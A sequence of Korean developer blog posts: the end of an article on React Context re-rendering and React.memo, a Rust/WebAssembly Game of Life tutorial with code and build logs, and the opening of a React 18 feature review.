위 예제에서 살펴본다면, `Parent/Child/Grandchild`의 경우, `GrandchildComponent`는 컨텍스트가 업데이트 되어서가 아니라 `ChildComponent`가 리렌더링되는 것 만으로도 리렌더링 될 수 있다는 것이다. 위 예제에서는, 불필요한 리렌더링을 최적화하려는 것이 없으므로, 리액트는 `ParentComponent`가 렌더링 할 때마다 `ChildComponent` `GrandchildComponent`를 렌더링 한다. 부모가 새 컨텍스트 값을 넣는 경우, `GrandchildComponent`는 그 값을 사용하기 때문에 리렌더링 된다. 그러나 이는 어차피 상위 컴포넌트가 리렌더링되기 때문에 발생할 일이었을 뿐이다.

### Context 업데이트와 렌더링 최적화

위 예시를 최적화 해보는 동시에, `GreatGrandChildComponent`를 하나 더 만들어서 살펴보자.

```jsx
function GreatGrandchildComponent() {
  return <div>Hi</div>
}

function GrandchildComponent() {
  const value = useContext(MyContext)
  return (
    <div>
      {value.a}
      <GreatGrandchildComponent />
    </div>
  )
}

function ChildComponent() {
  return <GrandchildComponent />
}

const MemoizedChildComponent = React.memo(ChildComponent)

function ParentComponent() {
  const [a, setA] = useState(0)
  const [b, setB] = useState('text')

  const contextValue = {a, b}

  return (
    <MyContext.Provider value={contextValue}>
      <MemoizedChildComponent />
    </MyContext.Provider>
  )
}
```

여기에서 이제 `setA(100)`를 호출하면 다음과 같은 일들이 일어난다.

- `ParentComponent`가 렌더링됨
- 새로운 `contextvalue`가 세팅
- 리액트는 `MyContext.Provider`에 새로운 값이 들어왔음을 감지하고, `MyContext`을 사용하는 컴포넌트에 업데이트가 필요하다고 표시
- `MemoizedChildComponent`를 렌더링하려고 한다. 그리고 이는 `memo`로 메모이즈 되어 있고, `props`가 전혀 넘어가지 않으므로 변경이 일어나지 않은 것으로 간주된다. 따라서 `ChildComponent`의 렌더링을 스킵한다.
- 하지만 `MyContext.Provider`는 업데이트 되었으므로, 이 아래에는 아마 업데이트가 되어야할 컴포넌트가 있을 수도 있다.
- 리액트는 자식 컴포넌트를 순회하다가 `GrandchildComponent`를 만난다. 해당 컴포넌트는 컨텍스트를 사용하므로, 새로운 값으로 렌더링 되어야 하므로 새로운 context 값으로 렌더링 한다.
- `GrandchildComponent`가 렌더링 되었으므로, 하위 컴포넌트인 `GreatGrandchildComponent`도 리렌더링 된다.

> [Code Sandbox에서 직접해보기](https://codesandbox.io/s/optimized-contextapi-rendering-forked-xmrhom?file=/src/App.js)

**Context Provider 하위에 있는 컴포넌트는 `React.memo`가 되어 있어야 한다.**

이렇게 최적화한다면, 부모 컴포넌트의 state 업데이트는 더이상 모든 컴포넌트의 리렌더링을 강요하지 않고, 단순히 context를 사용하는 컴포넌트만 리렌더링 하게 된다. 그러나, `GrandchildComponent`의 경우에는 Context의 값을 사용하였기 때문에 리렌더링 되었고, 그 자식인 `GreatGrandchildComponent`는 Context를 사용하지 않았다 하더라도 리렌더링 된다.

## 요약

- 리액트는 기본적으로 재귀적으로 컴포넌트를 렌더링 한다. 그러므로, 부모가 렌더링 되면 자식도 렌더링 된다.
- 렌더링 그 자체로는 문제가 되지 않는다. 렌더링은 리액트가 DOM의 변화가 있는지 확인하기 위한 절차일 뿐이다.
- 그러나 렌더링은 시간이 소요되며, UI 변화가 없는 불필요한 렌더링은 시간을 소비한다.
- 콜백함수와 객체에 새로운 참조로 값을 전달하는 것은 대부분 괜찮다.
- `React.memo`를 사용하면, `props`가 변하지 않는다면 렌더링을 막는다.
- 그러나 항상 새로운 참조 값을 `props`로 `React.memo()`를 전달하면 렌더링을 스킵할 수 없으므로, 이러한 값들은 적절히 메모이제이션 해야 한다.
- `Context`를 사용하면 해당 값에 관심이 있는 컴포넌트들이 중첩되어있는 상태에서도 `props` 없이 엑세스할 수 있게 해준다.
- `Context Provider`는 값이 변하였는지 확인하기 위해 참조를 비교한다.
- 새로운 `Context` 값은 중첩된 모든 컨슈머들의 리렌더링을 야기한다.
- 그러나 이러한 `Context`의 값의 변화가 아닌 일반적인 부모 > 자식 리렌더링 프로세스로 인해 리렌더링 되는 경우가 많다.
- 이를 방지하기 위하여 Context Provider 하위 컴포넌트에 `React.memo`를 사용하거나 `{props.children}`을 사용해야 한다.
- 하위 컴포넌트가 `Context` 값을 사용하고 있다며느 그 하위 컴포넌트 또한 순차적으로 리렌더링 된다.

## Context API, 상태관리 언제 써야 할까?

### Context API로만 충분한 경우

- 자주 변하지 않는 간단한 값만 전달하는 경우
- 애플리케이션 일부에 일부 state나 함수를 전달하지만, 이 값이 props로 많은 부분 넘기고 싶지 않은 경우
- 추가적인 라이브러리 없이 리액트 기능만으로 구현하고 싶을때

### 상태관리 솔루션이 필요할때

- 애플리케이션 여러 위치에 많은 양의 애플리케이션의 상태 값이 필요한 경우
- 애플리케이션의 상태가 시간에 따라 자주 업데이트 되는 경우
- 상태 관리 로직이 복잡한 경우
- 애플리케이션이 매우 크고, 많은 사람이 개발하는 경우

---

Source: https://yceffort.kr/2022/04/rust-wasm-project-tutorial-2.md
Title: Rust로 web assembly로 game of life 만들어보기 (2)
Description: 사이드 프로젝트도 열심히 하고 싶은데 바쁘기도 바쁘고 체력도 안되는 것 같고 아무튼 핑계입니다.
Date: 2022-04-08
Tags: rust, webassembly

## Table of Contents

## 디자인

본격적인 구현에 앞서, 어떤식으로 개발하면 좋을지 고민해보자.

### Infinite Universe

game of life (이하 라이프 게임)은 무한대의 우주에서 펼쳐지지만, 아쉽게도 우리의 컴퓨팅 파워는 무한대가 아니다. 이러한 한계를 극복하기 위하나 방법으로는, 세가지 정도가 있을 것이다.

1. 계속해서 어떤일이 일어나고 있는지 추적하기 위해 영역을 지속적으로 확장하는 것. 그러나 이러한 확장은 제한적이고, 구현속도는 점점 느려지고 메모리도 부족하게 될 것
2. 고정된 크기의 우주를 만들되, 모서리에 있는 셀이 가운데에 있는 셀보다 더 적은 수의 이웃을 갖게 하는 방법. 그러나 이 패턴은 글라이더와 같은 무한 패턴을 구현하지 못한다.
3. 일정한 크기의 주기적으로 구현되는 우주를 만드는 방법. 이 우주 가장자리에 우주의 반대편으로 둘러싼 이웃을 존재하게 된다. (쉽게 말해 좌우를 잇는다고 보면 된다.)

3번째 방법으로 구현한다고 생각해보자.

### 자바스크립트와 러스트의 인터페이스

자바스크립트의 가비지 컬렉팅 힙은 Object, array, DOM 노드 등이 할당되며, 이는 로스트의 값이 존재하는 웹 어셈블리의 선형 메모리 공간과는 구별되는 영역이다. 웹 어셈블리는 자바스크립트의 가비지 컬렉팅 힙에 직접 접근할 수가 없다. 하지만 자바스크립트는 웹 어셈블리의 이러한 선형 메모리 공간에 접근하여 읽고 쓸 수는 잇지만, 스칼라 값 (u8, i32, f64 등)의 Array Buffer만 가능하다. 웹 어셈블리 함수는 스칼라 값을 가져오고 반환한다. 이것이 모든 웹 어셈블리와 자바스크립트 통신을 구성하는 요소로 볼 수 있다.

`wasm_bindgen`은 이 바운더리를 가로지르는 복잡한 구조물을 다루는 방법에 대한 공통적인 방법을 정의한다고 볼 수 있다. 이것은 러스트 구조를 박스화하고, 포인터를 자바스크립트 클래스로 래핑하거나, 러스트에서 자바스크립트 객체의 테이플로 인덱싱 하는 것 등등을 포함한다. `wasm_bindgen`은 이런면에서 매우 편리하지만, 데이터 표현과 어떤 값 구조가 이 바운더리를 가로질러 전달되는지를 개발자가 고려하도록 만들어 두엇다. 단순히 `wasm_bindgen`은 선택한 인터페이스 설계를 구현을 위한 도구라고 생각하면 된다.

웹 어셈블리와 자바스크립트 사이의 인터페이스를 설계할 때, 다음의 내용을 최적화 하고자 한다.

1. 웹 어셈블리 선형 메모리로 복사하는 것을 최소화 한다. 불필요한 복사본은 불필요한 오버헤드를 만든다.
2. 직렬화 및 역직렬화를 최소화 한다. 1번과 마찬가지로, 직렬화와 역직렬화도 오버헤드를 초래하고 종종 복사도 강제하는 등의 부작용이 있다.

일반적으로, 좋은 자바스크립트와 웹어셈블리간의 인터페이스 설계는, 대용량의, 그리고 수명을 오래 가져가야 하는 데이터를 러스트의 선형메모리에 구현하고, 이를 자바스크립트에 제한적인 핸들러로 노출시키는 것이다. 자바스크립트에서 이 제한적인 핸들러를 사영하여 웹 어셈블리를 호출하면 러스트에서는 데이터를 변환하고, 무거운 계산을 수행하고, 데이터를 쿼리하고, 궁극적으로 복사 가능한 아주 작은 데이터를 반환하는 것이다. 웹 어셈블리의 작은 계산 결과만 반환함으로써, 자바스크립트의 가비지 콜렉팅 힙과 웹 어셈블리의 메모리 사이에 직렬화를 피하는 것이 좋다.

### 라이프 게임에서 러스트와 자바스크립트 인터페이스

먼저 피해야 할 것들 부터 알아보자. 우리는 매틱 마다 웹 어셈블리의 메모리로 온 우주의 정보를 보내서 복사할 필요가 없다. 우주에 있는 모든 세포들에 객체를 할당해서느 안되고, 각 세포를 읽고 쓰기 위해 경계를 넘나들며 (자바스크립트 웹어셈블리) 호출을 할 필요는 없다.

어떻게 해야할까? 우리는 우주를 웹 어셈블리 선형 메모리에 나타내고, 각 셀에 대한 바이트를 갖는 평평한 배열로 나타낼 수 있다. 0은 죽은 상태, 1은 살아있는 상태다.

아래는 메모리에서 4x4 우주를 어떻게 나타내는지 보여준다.

![4x4 universe](https://rustwasm.github.io/docs/book/images/game-of-life/universe.png)

우주에서 행과 열을 주어줬다면, 이 상태를 알기 위해 우리는 아래 공식을 사용할 수 있다.

```rust
index(row, column, universe) = row * width(universe) + column
```

이를 자바스크립트에 표현하기 위해 사용할 수 있는 방법은 무엇이 있을까? 먼저 `Universe`에서 [std::fmt::Display](https://doc.rust-lang.org/1.25.0/std/fmt/trait.Display.html)를 구현하여 텍스트 문자로 렌더링 할 수 있는 Rust String을 생성할 수 있다. 그런 다음 이 러스트 문자령르 웹 어셈블리의 선형 메모리에서 자바스크립트의 문자열로 보낸다음, HTML의 `textContent`로 설정하여 표시하면 된다. 이러한 구현을 한단계 진화시켜서 `<canvas>`에 그리는 방법도 있을 것이다.

또다른 방법으로는, 러스트가 모든 우주를 자바스크립트에 노출시키는 대신, 각 틱이 발생한 후에 상태가 변경된 모든 셀의 목록을 반환하는 방법도 있다. 이렇게 하면 자바스크립트는 렌더링할 때 모든 전체 우주를 반복할 필요가 없고, 렌더링이 필요한 부분 집합만 구할 수 있다. 단점은 이 방법이 조금더 구현이 어렵다는 것이다.

## 러스트 구현

`greet`과 `alert`를 제거하고, 아래 세포를 정의한 코드로 대체하자.

```rust
#[wasm_bindgen]
#[repr(u8)]
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Cell {
    Dead = 0,
    Alive = 1,
}
```

여기서 주목해야 할 것은 `#[repr(u8)]`다. 이 정의는, 하나의 셀이 싱글 바이트로 표현된다는 것을 의미한다. 또한 `Dead`가 0, `Alive`가 1로 설정해놓음으로써, 이웃에 얼마나 많은 셀들이 살아있는지 쉽게 구할 수 있다.

> `repr`은 struct의 alighment를 설정하는 방법이다. 즉 `Cell`을 `u8` 구조체로 설정한 것이다.
> u8은 숫자를 표현할 수 있는 최소 단위다

> `derive`일부 특성에 대한 기본 구현을 할 수 있도록 도와주는 도구다.

다음으로는 우주를 정의하자. 우주는 너비와 높이를 가진다.

```rust
#[wasm_bindgen]
pub struct Universe {
    width: u32,
    height: u32,
    cells: Vec<Cell>,
}
```

> `Vec`은 벡터로 불리는 배열이다.

주어진 행과 열에 존재하는 셀에 접근하기 위하여, 앞서 설명한 것과 같이 인덱스로 접근할 수 있는 함수도 만들 것이다.

```rust
impl Universe {
    fn get_index(&self, row: u32, column: u32) -> usize {
        (row * self.width + column) as usize
    }

    // ...
}
```

인접해 있는 세포가 얼마나 살아있는지 판단할 수 있는 함수를 만들어야 한다.

```rust

impl Universe {
    // ...
    fn live_neighbor_count(&self, row: u32, column: u32) -> u8 {
        let mut count = 0;
        for delta_row in [self.height - 1, 0, 1].iter().cloned() {
            for delta_col in [self.width - 1, 0, 1].iter().cloned() {
                if delta_row == 0 && delta_col == 0 {
                    continue;
                }

                let neighbor_row = (row + delta_row) % self.height;
                let neighbor_col = (column + delta_col) % self.width;
                let idx = self.get_index(neighbor_row, neighbor_col);
                count += self.cells[idx] as u8;
            }
        }
        count
    }
}
```

다음으로는 자바스크립트가 틱이 발생했을 때 제어할 수 있는 메소드를 추가해보자.

```rust

#[wasm_bindgen]
impl Universe {
    // public method. 이를 자바스크립트에서 쓸 수 있게 할 것이다.
    pub fn tick(&mut self) {
      // 현재 세포들을 모두 꺼내와서 복사해둔다.
        let mut next = self.cells.clone();

      // 현재 모든 셀을 순환한다.
        for row in 0..self.height {
            for col in 0..self.width {
                let idx = self.get_index(row, col);
                // 현재 세포
                let cell = self.cells[idx];
                // 주변 세포가 몇개나 살아 있는지 계산한다
                let live_neighbors = self.live_neighbor_count(row, col);

                // 다음 셀은 다음과 같이 결정된다.
                let next_cell = match (cell, live_neighbors) {

                    // 규칙1. 살아있는 세포 근처에 두명 미만의 세포가 살아있다면, 죽는다.
                    (Cell::Alive, x) if x < 2 => Cell::Dead,
                    // 규칙 2: 살아있는 세포 규칙에 2~3의 살아있는 세포가 있다면, 산다.
                    (Cell::Alive, 2) | (Cell::Alive, 3) => Cell::Alive,                    .
                    // 규칙3: 살아있는 이웃세포가 3 보다 많다면 죽는다
                    (Cell::Alive, x) if x > 3 => Cell::Dead,
                    // 규칙4: 살아있는 이웃이 정확히 3개있는 죽은세포는 살아난다.
                    (Cell::Dead, 3) => Cell::Alive,
                    // 그외의 다른 셀은 그대로...
                    (otherwise, _) => otherwise,
                };
                next[idx] = next_cell;
            }
        }
        self.cells = next;
    }
    // ...
}
```

지금까지 우주의 상태는 셀의 벡터로 표현되고 있다. 이제 이것을 사람이 볼 수 있는 텍스트 형태로 만들어보자. 살아있는 셀은 ◼로, 죽어있는 셀은 ◻를 나타내게 할 것이다.

러스트 표준라이브러리에서 `Display` trait을 사용한다면, 사용자가 볼 수 있는 방식으로 구조를 포맷팅하는 메소드를 추가할 수 있다. 그리고 자동으로 `to_string` 메소드를 제공한다.

```rust
use std::fmt;

impl fmt::Display for Universe {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        for line in self.cells.as_slice().chunks(self.width as usize) {
            for &cell in line {
                let symbol = if cell == Cell::Dead { '◻' } else { '◼' };
                write!(f, "{}", symbol)?;
            }
            write!(f, "\n")?;
        }

        Ok(())
    }
}
```

마지막으로, constructor와 `to_string`을 도와주는 `render`를 만들자.

```rust
#[wasm_bindgen]
impl Universe {
    // ...

    pub fn new() -> Universe {
        let width = 64;
        let height = 64;

        let cells = (0..width * height)
            .map(|i| {
                if i % 2 == 0 || i % 7 == 0 {
                    Cell::Alive
                } else {
                    Cell::Dead
                }
            })
            .collect();

        Universe {
            width,
            height,
            cells,
        }
    }

    pub fn render(&self) -> String {
        self.to_string()
    }
}
```

이정도면, 절반정도 구현한 셈이다. 이제 다시 `wasm-pack build`로 빌드해보자.

## 자바스크립트에서 렌더링하기

`wasm-game-of-life/www/index.html`를 다음과 같이 작성해보자.

```html
<body>
  <pre id="game-of-life-canvas"></pre>
  <script src="./bootstrap.js"></script>
</body>
```

그리고 `<pre>`를 중앙으로 배치하기 위해 css를 활용하자.

그리고 `wasm-game-of-life/www/index.js`의 최상단에, 우리가 만든 `Universe`를 import 하자.

```javascript
import {Universe} from 'wasm-game-of-life'
```

그리고, `<pre>` 엘리먼트에 우리가 만든 `Universe`를 새로 만든다.

```javascript
const pre = document.getElementById('game-of-life-canvas')
const universe = Universe.new()
```

매틱마다 매끄러운 렌더링을 구현하기 위해 [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)을 사용한다. 매 iteration 마다, 현재 우주 상태를 `<pre>`에 그리고, `Universe::tick`을 호출한다.

```javascript
const renderLoop = () => {
  pre.textContent = universe.render()
  universe.tick()

  requestAnimationFrame(renderLoop)
}
```

그리고 이제 매 틱마다 실행될 수 있도록, 최초 한번 실행한다.

```javascript
requestAnimationFrame(renderLoop)
```

`npm run start`로 실행하여, http://localhost:8080 에서 무슨일이 일어나는지 확인해보자.

![game-of-life](./images/game-of-life.gif)

> 잘 모르겠지만,, 뭔가 일어나고 있음,,,

## 메모리에서 캔버스로 바로 렌더링 해보기

앞서 언급했던 것처럼, 러스트에서 문자열을 생성하고 할당한 다음, `wasm-bindgen`으로 유효한 자바스크립트 문자열로 반환하는 작업은 불필요하게 셀의 복사본을 두번 만드는 것이다. 자바스크립트는 이미 전체 너비와 높이를 알고 있고, 셀을 구성하고 있는 웹 어셈블리의 선형 메모리를 직접 읽을 수 있으므로, 렌더링 방법을 수정해보자.

이에 추가로 유니코드 텍스트를 그리는 대신, Canvas api를 사용해보자.

먼저 `<pre>`를 `<canvas>`로 변경해보자.

```html
<body>
  <canvas id="game-of-life-canvas"></canvas>
  <script src="./bootstrap.js"></script>
</body>
```

러스트에서 필요한 정보를 읽기 위해, 우주의 너비, 높이, 셀 배열에 대한 포인터 정보를 알 수 있는 함수를 추가해보자.

```rust
#[wasm_bindgen]
impl Universe {
    // ...

    pub fn width(&self) -> u32 {
        self.width
    }

    pub fn height(&self) -> u32 {
        self.height
    }

    pub fn cells(&self) -> *const Cell {
        // 슬라이스 버퍼에 있는 포인터 정보를 리턴한다.
        self.cells.as_ptr()
    }
}
```

그리고 자바스크립트에서, 셀을 표현하는데 필요한 상수를 정의 해두자.

그리고, 자바스크립트 코드에서 `<canvas>`를 그리도록 변경해보자.

```javascript
// Construct the universe, and get its width and height.
const universe = Universe.new()
const width = universe.width()
const height = universe.height()

// 세포 사이에 1px border
const canvas = document.getElementById('game-of-life-canvas')
canvas.height = (CELL_SIZE + 1) * height + 1
canvas.width = (CELL_SIZE + 1) * width + 1

const ctx = canvas.getContext('2d')

const renderLoop = () => {
  universe.tick()

  drawGrid()
  drawCells()

  requestAnimationFrame(renderLoop)
}
```

그리드를 그리기 위해서, 같은 간격의 수평선과 수직선 세트를 그린다. 이 선들을 교차하여 그리드를 그리게 될 것이다.

```javascript
const drawGrid = () => {
  ctx.beginPath()
  ctx.strokeStyle = GRID_COLOR

  // Vertical lines.
  for (let i = 0; i <= width; i++) {
    ctx.moveTo(i * (CELL_SIZE + 1) + 1, 0)
    ctx.lineTo(i * (CELL_SIZE + 1) + 1, (CELL_SIZE + 1) * height + 1)
  }

  // Horizontal lines.
  for (let j = 0; j <= height; j++) {
    ctx.moveTo(0, j * (CELL_SIZE + 1) + 1)
    ctx.lineTo((CELL_SIZE + 1) * width + 1, j * (CELL_SIZE + 1) + 1)
  }

  ctx.stroke()
}
```

웹 어셈블리의 선형메모리에 바로 접근하기 위해, raw wasm module인 `wasm_game_of_life_bg`를 활용할 것이다. 세포를 그리기 위해 현재 우주의 세포에 대한 포인터를 얻고, 세포 버퍼가있는 `Unit8Array`를 구성하고, 각 세포를 순회하면서 세포가 죽었는지 살았는지에 따라 각각 사각형을 그린다. 포인터와 오버레이로 작업하여 매 틱에서 경계를 넘어 셀을 복사하는 것을 피한다.

```javascript
// Import the WebAssembly memory at the top of the file.
import {memory} from 'wasm-game-of-life/wasm_game_of_life_bg'

// ...

const getIndex = (row, column) => {
  return row * width + column
}

const drawCells = () => {
  const cellsPtr = universe.cells()
  const cells = new Uint8Array(memory.buffer, cellsPtr, width * height)

  ctx.beginPath()

  for (let row = 0; row < height; row++) {
    for (let col = 0; col < width; col++) {
      const idx = getIndex(row, col)

      ctx.fillStyle = cells[idx] === Cell.Dead ? DEAD_COLOR : ALIVE_COLOR

      ctx.fillRect(
        col * (CELL_SIZE + 1) + 1,
        row * (CELL_SIZE + 1) + 1,
        CELL_SIZE,
        CELL_SIZE,
      )
    }
  }

  ctx.stroke()
}
```

최초 렌더링 프로세스를 시작 하기 위해서, `renderLoop`에 있는 프로세스를 가져와 실행한다.

```javascript
drawGrid()
drawCells()
requestAnimationFrame(renderLoop)
```

다시한번 빌드하고, 실행해보자.

```bash
@yceffort ➜ /workspaces/rust-playground/wasm-game-of-life (main ✗) $ wasm-pack build
[INFO]: Checking for the Wasm target...
[INFO]: Compiling to Wasm...
   Compiling wasm-game-of-life v0.1.0 (/workspaces/rust-playground/wasm-game-of-life)
    Finished release [optimized] target(s) in 0.39s
[INFO]: Installing wasm-bindgen...
[INFO]: Optimizing wasm binaries with `wasm-opt`...
[INFO]: Optional fields missing from Cargo.toml: 'description', 'repository', and 'license'. These are not necessary, but recommended
[INFO]: :-) Done in 0.93s
[INFO]: :-) Your wasm pkg is ready to publish at /workspaces/rust-playground/wasm-game-of-life/pkg.
```

```bash
@yceffort ➜ /workspaces/rust-playground/wasm-game-of-life (main ✗) $ cd www/
@yceffort ➜ /workspaces/rust-playground/wasm-game-of-life/www (master ✗) $ npm run start

> create-wasm-app@0.1.0 start /workspaces/rust-playground/wasm-game-of-life/www
> webpack-dev-server

ℹ ｢wds｣: Project is running at http://localhost:8080/
ℹ ｢wds｣: webpack output is served from /
ℹ ｢wds｣: Content not from webpack is served from /workspaces/rust-playground/wasm-game-of-life/www
ℹ ｢wdm｣: Hash: 9a501699d68560154eeb
Version: webpack 4.43.0
Time: 524ms
Built at: 04/08/2022 6:13:05 AM
                           Asset       Size  Chunks                         Chunk Names
                  0.bootstrap.js   10.5 KiB       0  [emitted]
8ca3edcd4459872d299d.module.wasm   20.6 KiB       0  [emitted] [immutable]
                    bootstrap.js    369 KiB    main  [emitted]              main
                      index.html  494 bytes          [emitted]
Entrypoint main = bootstrap.js
[0] multi (webpack)-dev-server/client?http://localhost:8080 ./bootstrap.js 40 bytes {main} [built]
[../pkg/wasm_game_of_life.js] 95 bytes {0} [built]
[../pkg/wasm_game_of_life_bg.wasm] 20.6 KiB {0} [built]
[./bootstrap.js] 279 bytes {main} [built]
[./index.js] 1.79 KiB {0} [built]
[./node_modules/ansi-html/index.js] 4.16 KiB {main} [built]
[./node_modules/strip-ansi/index.js] 161 bytes {main} [built]
[./node_modules/webpack-dev-server/client/index.js?http://localhost:8080] (webpack)-dev-server/client?http://localhost:8080 4.29 KiB {main} [built]
[./node_modules/webpack-dev-server/client/overlay.js] (webpack)-dev-server/client/overlay.js 3.51 KiB {main} [built]
[./node_modules/webpack-dev-server/client/socket.js] (webpack)-dev-server/client/socket.js 1.53 KiB {main} [built]
[./node_modules/webpack-dev-server/client/utils/createSocketUrl.js] (webpack)-dev-server/client/utils/createSocketUrl.js 2.91 KiB {main} [built]
[./node_modules/webpack-dev-server/client/utils/log.js] (webpack)-dev-server/client/utils/log.js 964 bytes {main} [built]
[./node_modules/webpack-dev-server/client/utils/reloadApp.js] (webpack)-dev-server/client/utils/reloadApp.js 1.59 KiB {main} [built]
[./node_modules/webpack-dev-server/client/utils/sendMessage.js] (webpack)-dev-server/client/utils/sendMessage.js 402 bytes {main} [built]
[./node_modules/webpack/hot sync ^\.\/log$] (webpack)/hot sync nonrecursive ^\.\/log$ 170 bytes {main} [built]
    + 23 hidden modules
ℹ ｢wdm｣: Compiled successfully.
```

![game-of-life-canvas](./images/game-of-life-canvas.gif)

> 지금까지 작성한 코드는 [github](https://github.com/yceffort/rust-playground/tree/main/wasm-game-of-life)에서 확인하실 수 있습니다.

---

Source: https://yceffort.kr/2022/04/react-18-changelog.md
Title: 리액트 v18 버전 톺아보기
Description: 큰거 왔다
Date: 2022-04-04
Tags: react, javascript

## Table of Contents

## Introduction

대규모 애플리케이션에서 버전업을 한다는 것은, 그것도 주로 사용하는 major framework의 major 버전 업을 하는 것은 꽤나 어려운 일이다. 지금도 잘 작동하고 있는 애플리케이션을 왜 업데이트 해야 하는지 개발자 부터 저 높은 어르신 까지 먼저 설득이 필요하다. 허락을 구했다면 breaking change가 있는지 살펴보고 있다면 수정해야 한다. 만약 수정 가이드가 있다면 다행이지만 없다면 코드를 하나씩 살펴보면서 고쳐야 한다. 또 고치는 데서만 끝나는 것이 아니다. regression test도 필요하고, 테스트 만으로는 못미더울 기획자나 QA 테스터 분께서 살펴보는 시간도 필요하다. 이런 저런 이유로 봤을 때 대다수의 많은 프로젝트들이 아직도 구형 버전에 머물러 있는 것은 그리 놀라운 일은 아니다. major 버전업은 누구에게나 피곤한 일이다.

그럼에도 개발자들은 항상 major 버전업에 귀기울일 필요는 있다. major 버전업은 분명 기능적으로든 성능적으로든 좋은 방향이 적용되어 있을 것이고, 이는 개발자들에게 좀 더 나은 개발 경험 내지는 고객들에게 더 좋은 애플리케이션 경험을 제공해 줄 수 있다. 또 새로운 개발자를 유인할 수 있는 좋은 방법이기도 하다. jquery로 되어 있는 웹 애플리케이션과 최신의 자바스크립트 프레임워크와 섹시한 문법(?) 으로 작성되어 있는 웹 애플리케이션, 둘 중에 어떤 것을 개발하고 싶은지 열에 아홉은 후자를 선호할 것이다.

웹 애플리케이션 시장의 큰 파이를 차지하고 있는 react의 18 버전이 나왔다. [공식 블로그 글](https://reactjs.org/blog/2022/03/29/react-v18.html)을 통해서 어떤 것이 변경되어있는지 대략적으로 알 수 있고 또 훌륭하게 정리해놓은 블로그 글도 여기저기 많다. 하지만 조금 더 깊게 공부해보고자 [공식 CHANGELOG](https://github.com/facebook/react/blob/main/CHANGELOG.md#1800-march-29-2022)를 보고, 직접 사용해보고, 요약해 보고자한다.

## New Feature

### React

#### `useId`

`useId`는 클라이언트와 서버간의 hydration의 mismatch를 피하면서 유니크 아이디를 생성할 수 있는 새로운 훅이다. 이는 주로 고유한 `id`가 필요한 접근성 API와 사용되는 컴포넌트에 유용할 것으로 기대된다. 이렇게 하면 React 17 이하에서 이미 존재하고 있는 문제를 해결할 수 있다. 그리고 이는 리액트 18에서 더 중요한데, 그 이유는 새로운 스트리밍 렌더러가 HTML을 순서에 어긋나지 않게 전달해 줄 수 있기 때문이다.

아이디 생성 알고리즘은 [여기](https://github.com/facebook/react/pull/22644)에서 살펴볼 수 있다. 아이디는 기본적으로 트리 내부의 노드의 위치를 나타내는 base 32 문자열이다. 트리가 여러 children으로 분기 될때 마다, 현재 레벨에서 자식 수준을 나타내는 비트를 시퀀스 왼쪽에 추가하게 된다.

```jsx
import Head from 'next/head'
import styles from '../styles/Home.module.css'
import {useId} from 'react'
import Child from '../src/components/child'
import SubChild from '../src/components/SubChild'

export default function Home() {
  const id = useId()
  return (
    <>
      <div className="field">Home: {id}</div>
      <SubChild />
      <SubChild />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
      <Child />
    </>
  )
}
```

```jsx
import {useId} from 'react'

export default function Child() {
  const id = useId()
  return <div>child: {id}</div>
}
```

```jsx
import {useId} from 'react'
import Child from './child'

export default function SubChild() {
  const id = useId()

  return (
    <div>
      Sub Child:{id}
      <Child />
    </div>
  )
}
```

```text
Home: :r0:
Sub Child::r1:
child: :r2:
Sub Child::r3:
child: :r4:
child: :r5:
child: :r6:
child: :r7:
child: :r8:
child: :r9:
child: :ra:
child: :rb:
child: :rc:
child: :rd:
child: :re:
child: :rf:
child: :rg:
child: :rh:
```

자세한 알고리즘을 알고 싶다면, 앞서 언급한 PR을 참고하면 도움이 될 것 같다.

#### `startTransition` `useTransition`

이 두 메소드를 사용하면 일부 상태 업데이트를 긴급하지 않은 것 (not urgent)로 표시할 수 있다. 이것으로 표시되지 않은 상태 업데이트는 긴급한 것으로 간주된다. 긴급한 상태 업데이트 (input text 등)가 긴급하지 않은 상태 업데이트 (검색 결과 목록 렌더링)을 중단할 수 있다.

상태 업데이트를 긴급한 것과 긴급하지 않은 것으로 나누어 개발자에게 렌더링 성능을 튜닝하는데 많은 자유를 주었다고 볼 수 있다.

```javascript
function App() {
  const [resource, setResource] = useState(initialResource)
  const [startTransition, isPending] = useTransition({timeoutMs: 3000})
  return (
    <>
      <button
        disabled={isPending}
        onClick={() => {
          startTransition(() => {
            const nextUserId = getNextId(resource.userId)
            setResource(fetchProfileData(nextUserId))
          })
        }}
      >
        Next
      </button>
      {isPending ? 'Loading...' : null} <ProfilePage resource={resource} />
    </>
  )
}
```

- `startTransition`는 함수로, 리액트에 어떤 상태변화를 지연하고 싶은지 지정할 수 있다.
- `isPending`은 진행 여부로, 트랜지션이 진행중인지 알 수 있다.
- `timeoutMs`로 최대 3초간 이전 화면을 유지한다.

이를 활용하면, 버튼을 눌러도 바로 로딩상태로 전환되는 것이 아니고 이전화면에서 진행상태를 볼 수 있게 된다.

#### `useDeferredValue`

`useDeferredValue`를 사용하면, 트리에서 급하지 않은 부분의 재렌더링을 지연할 수 있다. 이는 `debounce`와 비슷하지만, 몇가지 더 장점이 있다. 고정된 지연시간이 없으므로, 리액트는 첫번째 렌더링이 반영되는 즉시 지연 렌더링을 시도한다. 이 지연된 렌더링은 인터럽트가 가능하며, 사용자 입력을 차단하지 않는다.

```javascript
import {useDeferredValue} from 'react'

const deferredValue = useDeferredValue(value, {
  timeoutMs: 5000,
})
```

`value`의 값이 바뀌어도, 다른 렌더링이 발생하는 동안에는 최대 5000ms가 지연된다. 시간이 다되거나, 렌더링이 완료된다면 `deferredValue`가 변경되면서 상태값이 변하게 될 것이다.

#### `useSyncExternalStore`

`useSyncExternalStore`는 스토어에 대한 업데이트를 강제로 동기화 하여 외부 스토어가 concurrent read를 지원할 수 있도록 하는 새로운 훅이다. 외부 데이터에 대한 원본에 대한 subscription을 필요로 할 때 더이상 `useEffect`가 필요하지 않고, 이는 리액트 외부 상태와 통합되는 모든 라이브러리에 권장된다.

새로운 용어들이 몇개 보인다. 살펴보자

- `External Store`: 외부 스토어라는 것은 우리가 subscribe하는 무언가를 의미한다. 예를 들어 리덕스 스토어, 글로벌 변수, dom 상태 등이 될 수 있다.
- `Internal Store`: `props` `context` `useState` `useReducer` 등 리액트가 관리하는 상태를 의미한다.
